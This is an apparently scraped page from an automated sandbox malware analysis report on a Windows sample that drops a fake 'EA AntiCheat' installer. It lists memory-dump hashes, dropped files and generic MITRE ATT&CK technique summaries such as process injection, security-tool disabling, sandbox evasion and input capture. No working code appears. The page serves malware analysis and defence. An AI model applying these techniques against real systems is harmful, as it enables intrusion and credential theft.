Source File: 00000017.00000002.2141403811.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848e80000_$77EAAntiCheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4b0a77109108936fd8d3c4afd04b723f3293231f840fbd4545ebe121bea270d
Instruction ID: b217b5d4736da5f7a52043e1a9d98631ca62e23ea01b564e627b2186b0ebdc0e
Opcode Fuzzy Hash: c4b0a77109108936fd8d3c4afd04b723f3293231f840fbd4545ebe121bea270d
Instruction Fuzzy Hash: 21910420A1DA8A5FE796F77C84696B97BE1FF4A210B4500FAE44DC72A7CD2C9C01CB11

Function 00007FF848E80FCE Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2141403811.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848e80000_$77EAAntiCheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56096fa720adca7657a997b21025c60907477362e5f93562e55db2745542aebe
Instruction ID: 5bbc6bfa9e3c2897421b22ec3254c6a0caeeeb962e51102cdb720f70c0df74c6
Opcode Fuzzy Hash: 56096fa720adca7657a997b21025c60907477362e5f93562e55db2745542aebe
Instruction Fuzzy Hash: 0A71C230A0C9899FDB89FB6CD455BAC7BE1FF99350F4401BAE04DC3292CE29AC468751

Function 00007FF848E804D8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2141403811.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848e80000_$77EAAntiCheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cecbfacf599fcd0f7a551186a68b085a7006465cc1d63232accc5a8e199e6864
Instruction ID: 2207df3b83aafbe8cd077fc6269c7f0857816113c311a89a82e330d0cd9b4a6e
Opcode Fuzzy Hash: cecbfacf599fcd0f7a551186a68b085a7006465cc1d63232accc5a8e199e6864
Instruction Fuzzy Hash: 1A618C30A1C9499FDB88FB6CD445BACBBE2FF99350F440179E00ED3292DE25AC468745

Function 00007FF848E80810 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2141403811.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848e80000_$77EAAntiCheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e05faeb15d294b0b41f046d883371369da5dafeb4b8fb92cacf7260c254623
Instruction ID: f0cf42088e896791429ea9ce572808a4486208f4dc596fc635688652af734231
Opcode Fuzzy Hash: b7e05faeb15d294b0b41f046d883371369da5dafeb4b8fb92cacf7260c254623
Instruction Fuzzy Hash: 4A418420A1D98E9FFB94FB6884596FD7BB1FF89250F8441B5D009C3396DE386801C7A6

Function 00007FF848E81431 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2141403811.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848e80000_$77EAAntiCheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d279e1d207e353b8692f6c4d23ca1df0e393fdeffc4737cd71d5b8330b2e363d
Instruction ID: 99ee9fd070d7921cefeebf5563eba72e0f3f83e26b4017082f6f7f5363bfd53d
Opcode Fuzzy Hash: d279e1d207e353b8692f6c4d23ca1df0e393fdeffc4737cd71d5b8330b2e363d
Instruction Fuzzy Hash: 9D019C3190C6944FF385B338681A4FA3FD0EF813A0F4806BBE448CB0A3DD2D59828396

Function 00007FF848E81258 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2141403811.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848e80000_$77EAAntiCheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1d1fa83305aba11d3dafa1baca2b578e6861b3a9b3d44432441c7ba5bd1009f
Instruction ID: 1691b837fd6ebf5d10ab1fc57eb35f0f7a04c9393fa0f5a7d3b8fbc7f46166ac
Opcode Fuzzy Hash: f1d1fa83305aba11d3dafa1baca2b578e6861b3a9b3d44432441c7ba5bd1009f
Instruction Fuzzy Hash: EEE0683290DA0C1EEA54EA59AC06DEA3FA8EBC7238F00001EE48DC3152F5226823C355

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Xyq6rvzLJs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77EAAntiCheat.Installler.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Xyq6rvzLJs.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h2mtuuks.obo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oaq0r24n.ubs.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p2kmyt4v.zto.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qqe3f41i.viy.ps1

C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat

C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
Xyq6rvzLJs.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre